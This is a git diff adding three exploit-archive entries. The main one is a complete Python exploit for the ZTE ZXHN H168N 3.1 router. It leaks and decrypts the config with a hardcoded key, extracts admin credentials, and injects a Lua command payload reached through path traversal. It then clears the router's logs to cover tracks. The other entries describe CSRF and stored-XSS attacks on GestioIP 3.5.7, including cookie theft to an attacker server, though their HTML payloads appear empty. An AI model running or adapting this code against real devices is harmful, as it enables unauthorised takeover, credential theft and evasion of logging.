diff --git a/exploits/multiple/hardware/52191.py b/exploits/multiple/hardware/52191.py
new file mode 100755
index 000000000..3306f5e74
--- /dev/null
+++ b/exploits/multiple/hardware/52191.py
@@ -0,0 +1,331 @@
+# Exploit Title: ZTE ZXHN H168N 3.1 - RCE via authentication bypass
+# Author: l34n / tasos meletlidis
+# Exploit Blog: https://i0.rs/blog/finding-0click-rce-on-two-zte-routers/
+
+import http.client, requests, os, argparse, struct, zlib
+from io import BytesIO
+from os import stat
+from Crypto.Cipher import AES
+
+def login(host, port, username, password):
+ headers = {
+ "Content-Type": "application/x-www-form-urlencoded"
+ }
+
+ data = {
+ "Username": username,
+ "Password": password,
+ "Frm_Logintoken": "",
+ "action": "login"
+ }
+
+ requests.post(f"http://{host}:{port}/", headers=headers, data=data)
+
+def logout(host, port):
+ headers = {
+ "Content-Type": "application/x-www-form-urlencoded"
+ }
+
+ data = {
+ "IF_LogOff": "1",
+ "IF_LanguageSwitch": "",
+ "IF_ModeSwitch": ""
+ }
+
+ requests.post(f"http://{host}:{port}/", headers=headers, data=data)
+
+def leak_config(host, port):
+ conn = http.client.HTTPConnection(host, port)
+ boundary = "---------------------------25853724551472601545982946443"
+ body = (
+ f"{boundary}\r\n"
+ 'Content-Disposition: form-data; name="config"\r\n'
+ "\r\n"
+ "\r\n"
+ f"{boundary}--\r\n"
+ )
+
+ headers = {
+ "Content-Type": f"multipart/form-data; boundary={boundary}",
+ "Content-Length": str(len(body)),
+ "Connection": "keep-alive",
+ }
+
+ conn.request("POST", "/getpage.lua?pid=101&nextpage=ManagDiag_UsrCfgMgr_t.lp", body, headers)
+
+ response = conn.getresponse()
+ response_data = response.read()
+
+ with open("config.bin", "wb") as file:
+ file.write(response_data)
+
+ conn.close()
+
+def _read_exactly(fd, size, desc="data"):
+ chunk = fd.read(size)
+ if len(chunk) != size:
+ return None
+ return chunk
+
+def _read_struct(fd, fmt, desc="struct"):
+ size = struct.calcsize(fmt)
+ data = _read_exactly(fd, size, desc)
+ if data is None:
+ return None
+ return struct.unpack(fmt, data)
+
+def read_aes_data(fd_in, key):
+ encrypted_data = b""
+ while True:
+ aes_hdr = _read_struct(fd_in, ">3I", desc="AES chunk header")
+ if aes_hdr is None:
+ return None
+ _, chunk_len, marker = aes_hdr
+
+ chunk = _read_exactly(fd_in, chunk_len, desc="AES chunk data")
+ if chunk is None:
+ return None
+
+ encrypted_data += chunk
+ if marker == 0:
+ break
+
+ cipher = AES.new(key.ljust(16, b"\0")[:16], AES.MODE_ECB)
+ fd_out = BytesIO()
+ fd_out.write(cipher.decrypt(encrypted_data))
+ fd_out.seek(0)
+ return fd_out
+
+def read_compressed_data(fd_in, enc_header):
+ hdr_crc = zlib.crc32(struct.pack(">6I", *enc_header[:6]))
+ if enc_header[6] != hdr_crc:
+ return None
+
+ total_crc = 0
+ fd_out = BytesIO()
+
+ while True:
+ comp_hdr = _read_struct(fd_in, ">3I", desc="compression chunk header")
+ if comp_hdr is None:
+ return None
+ uncompr_len, compr_len, marker = comp_hdr
+
+ chunk = _read_exactly(fd_in, compr_len, desc="compression chunk data")
+ if chunk is None:
+ return None
+
+ total_crc = zlib.crc32(chunk, total_crc)
+ uncompressed = zlib.decompress(chunk)
+ if len(uncompressed) != uncompr_len:
+ return None
+
+ fd_out.write(uncompressed)
+ if marker == 0:
+ break
+
+ if enc_header[5] != total_crc:
+ return None
+
+ fd_out.seek(0)
+ return fd_out
+
+def read_config(fd_in, fd_out, key):
+ ver_header_1 = _read_struct(fd_in, ">5I", desc="1st version header")
+ if ver_header_1 is None:
+ return
+
+ ver_header_2_offset = 0x14 + ver_header_1[4]
+
+ fd_in.seek(ver_header_2_offset)
+ ver_header_2 = _read_struct(fd_in, ">11I", desc="2nd version header")
+ if ver_header_2 is None:
+ return
+ ver_header_3_offset = ver_header_2[10]
+
+ fd_in.seek(ver_header_3_offset)
+ ver_header_3 = _read_struct(fd_in, ">2H5I", desc="3rd version header")
+ if ver_header_3 is None:
+ return
+ signed_cfg_size = ver_header_3[3]
+
+ file_size = stat(fd_in.name).st_size
+
+ fd_in.seek(0x80)
+ sign_header = _read_struct(fd_in, ">3I", desc="signature header")
+ if sign_header is None:
+ return
+ if sign_header[0] != 0x04030201:
+ return
+
+ sign_length = sign_header[2]
+
+ signature = _read_exactly(fd_in, sign_length, desc="signature")
+ if signature is None:
+ return
+
+ enc_header_raw = _read_exactly(fd_in, 0x3C, desc="encryption header")
+ if enc_header_raw is None:
+ return
+ encryption_header = struct.unpack(">15I", enc_header_raw)
+ if encryption_header[0] != 0x01020304:
+ return
+
+ enc_type = encryption_header[1]
+
+ if enc_type in (1, 2):
+ if not key:
+ return
+ fd_in = read_aes_data(fd_in, key)
+ if fd_in is None:
+ return
+
+ if enc_type == 2:
+ enc_header_raw = _read_exactly(fd_in, 0x3C, desc="second encryption header")
+ if enc_header_raw is None:
+ return
+ encryption_header = struct.unpack(">15I", enc_header_raw)
+ if encryption_header[0] != 0x01020304:
+ return
+ enc_type = 0
+
+ if enc_type == 0:
+ fd_in = read_compressed_data(fd_in, encryption_header)
+ if fd_in is None:
+ return
+
+ fd_out.write(fd_in.read())
+
+def decrypt_config(config_key):
+ encrypted = open("config.bin", "rb")
+ decrypted = open("decrypted.xml", "wb")
+
+ read_config(encrypted, decrypted, config_key)
+
+ with open("decrypted.xml", "r") as file:
+ contents = file.read()
+ username = contents.split("IGD.AU2")[1].split("User")[1].split("val=\"")[1].split("\"")[0]
+ password = contents.split("IGD.AU2")[1].split("Pass")[1].split("val=\"")[1].split("\"")[0]
+
+ encrypted.close()
+ os.system("rm config.bin")
+ decrypted.close()
+ os.system("rm decrypted.xml")
+
+ return username, password
+
+def change_log_level(host, port, log_level):
+ level_map = {
+ "critical": "2",
+ "notice": "5"
+ }
+
+ headers = {
+ "Content-Type": "application/x-www-form-urlencoded"
+ }
+
+ data = {
+ "IF_ACTION": "Apply",
+ "_BASICCONIG": "Y",
+ "LogEnable": "1",
+ "LogLevel": level_map[log_level],
+ "ServiceEnable": "0",
+ "Btn_cancel_LogManagerConf": "",
+ "Btn_apply_LogManagerConf": "",
+ "downloadlog": "",
+ "Btn_clear_LogManagerConf": "",
+ "Btn_save_LogManagerConf": "",
+ "Btn_refresh_LogManagerConf": ""
+ }
+
+ requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
+ requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
+ requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)
+
+def change_username(host, port, new_username, old_password):
+ headers = {
+ "Content-Type": "application/x-www-form-urlencoded"
+ }
+
+ data = {
+ "IF_ACTION": "Apply",
+ "_InstID": "IGD.AU2",
+ "Right": "2",
+ "Username": new_username,
+ "Password": old_password,
+ "NewPassword": old_password,
+ "NewConfirmPassword": old_password,
+ "Btn_cancel_AccountManag": "",
+ "Btn_apply_AccountManag": ""
+ }
+
+ requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_AccountManag_t.lp&Menu3Location=0")
+ requests.get(f"http://{host}:{port}/common_page/accountManag_lua.lua")
+ requests.post(f"http://{host}:{port}/common_page/accountManag_lua.lua", headers=headers, data=data)
+
+def clear_log(host, port):
+ headers = {
+ "Content-Type": "application/x-www-form-urlencoded"
+ }
+
+ data = {
+ "IF_ACTION": "clearlog"
+ }
+
+ requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
+ requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
+ requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)
+
+def refresh_log(host, port):
+ headers = {
+ "Content-Type": "application/x-www-form-urlencoded"
+ }
+
+ data = {
+ "IF_ACTION": "Refresh"
+ }
+
+ requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
+ requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
+ requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)
+
+def trigger_rce(host, port):
+ requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_StatusManag_t.lp&Menu3Location=0")
+ requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar%2fuserlog.txt&Menu3Location=0")
+
+def rce(cmd):
+ return f" _G.os.execute('rm /var/userlog.txt;{cmd}') ?>"
+
+def pwn(config_key, host, port):
+ leak_config(host, port)
+ username, password = decrypt_config(config_key)
+
+ login(host, port, username, password)
+
+ shellcode = "echo \"pwned\""
+ payload = rce(shellcode)
+
+ change_username(host, port, payload, password)
+ refresh_log(host, port)
+ change_log_level(host, port, "notice")
+ refresh_log(host, port)
+
+ trigger_rce(host, port)
+ clear_log(host, port)
+
+ change_username(host, port, username, password)
+ change_log_level(host, port, "critical")
+ logout(host, port)
+ print("[+] PoC complete")
+
+def main():
+ parser = argparse.ArgumentParser(description="Run remote command on ZTE ZXHN H168N V3.1")
+ parser.add_argument("--config_key", type=lambda x: x.encode(), default=b"GrWM3Hz<vz&f^9", help="Leaked config encryption key from cspd")
+ parser.add_argument("--host", required=True, help="Target IP address of the router")
+ parser.add_argument("--port", required=True, type=int, help="Target port of the router")
+
+ args = parser.parse_args()
+
+ pwn(args.config_key, args.host, args.port)
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/exploits/multiple/remote/52200.txt b/exploits/multiple/remote/52200.txt
new file mode 100644
index 000000000..1f6fa1c65
--- /dev/null
+++ b/exploits/multiple/remote/52200.txt
@@ -0,0 +1,76 @@
+# Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Cross-Site Request Forgery (CSRF)
+# Exploit Author: m4xth0r (Maximiliano Belino)
+# Author website: https://maxibelino.github.io/
+# Author email : max.cybersecurity at belino.com
+# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50858
+# Date: 2025-01-13
+# Vendor Homepage: https://www.gestioip.net/
+# Software Link: https://www.gestioip.net/en/download/
+# Version: GestioIP v3.5.7
+# Tested on: Kali Linux
+# CVE: CVE-2024-50858
+
+### Description
+
+The GestioIP application has many endpoints and they are vulnerable to CSRF. This allows an attacker to execute actions through the admin's browser on the application if the admin visits a malicious URL hosted by the attacker. These actions can modify, delete, or exfiltrate data from the application.
+
+### Prerequisites
+
+The option "Manage - Manage GestioIP - User Management" must be enabled previously.
+
+
+### Usage
+
+To exploit this vulnerability, an attacker must host ```payload.html``` on an attacker-controlled web server (python3 -m http.server 8090). When an authenticated administrator goes to the attacker's website, the CSRF will execute making the attacker an administrator.
+
+
+### File: payload.html
+#### example: editing user named 'maxi'
+
+
+
+
+
+
+
+Welcome to our site
+
+
+
+
+
Thank you for visiting our site!
+
We are processing your request, please wait a moment...
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/exploits/multiple/remote/52201.txt b/exploits/multiple/remote/52201.txt
new file mode 100644
index 000000000..665066d0e
--- /dev/null
+++ b/exploits/multiple/remote/52201.txt
@@ -0,0 +1,56 @@
+# Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Stored Cross-Site Scripting
+# Exploit Author: m4xth0r (Maximiliano Belino)
+# Author website: https://maxibelino.github.io/
+# Author email: max.cybersecurity at belino.com
+# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50861
+# Date: 2025-01-13
+# Vendor Homepage: https://www.gestioip.net/
+# Software Link: https://www.gestioip.net/en/download/
+# Version: GestioIP v3.5.7
+# Tested on: Kali Linux
+# CVE: CVE-2024-50861
+
+### Description
+
+The http://localhost/gestioip/res/ip_mod_dns_key_form.cgi feature of GestioIP 3.5.7 is vulnerable to Stored XSS. An authenticated attacker with appropriate permissions can inject malicious code into the tsig_key form field and save it to the database. Once saved, any user who accesses the "DNS Key" page will trigger the Stored XSS, leading to the execution of malicious code.
+
+### Prerequisites
+
+1. Enable "DNS Key" Feature
+First, ensure that "Dynamic DNS updates" is enabled in the global configuration:
+
+Manage > Manage GestioIP > Global Configuration > Dynamic DNS updates enabled: yes
+
+This will enable the following menus:
+
+ Manage > DNS Keys
+ Manage > DNS Update User
+
+2. Create a DNS Key Entry
+
+To create a new DNS key entry and also edit an existing one, the user must belong to a group with the "Manage Sites And Categories" permission. By default, "Admin" and "GestioIP Admin" groups have this permission.
+
+Also, you can configure this permission to any group under:
+
+Manage > User Groups > Manage Sites and Categories
+
+3. Enter payload.
+
+Once group permission is set, input one of the following payloads into the "TSIG Key" (tsig_key) field and save it.
+
+
+### Payloads
+
+1 - Test basic XSS
+
+
+
+
+2 - Send data (cookies) to the attacker's server
+
+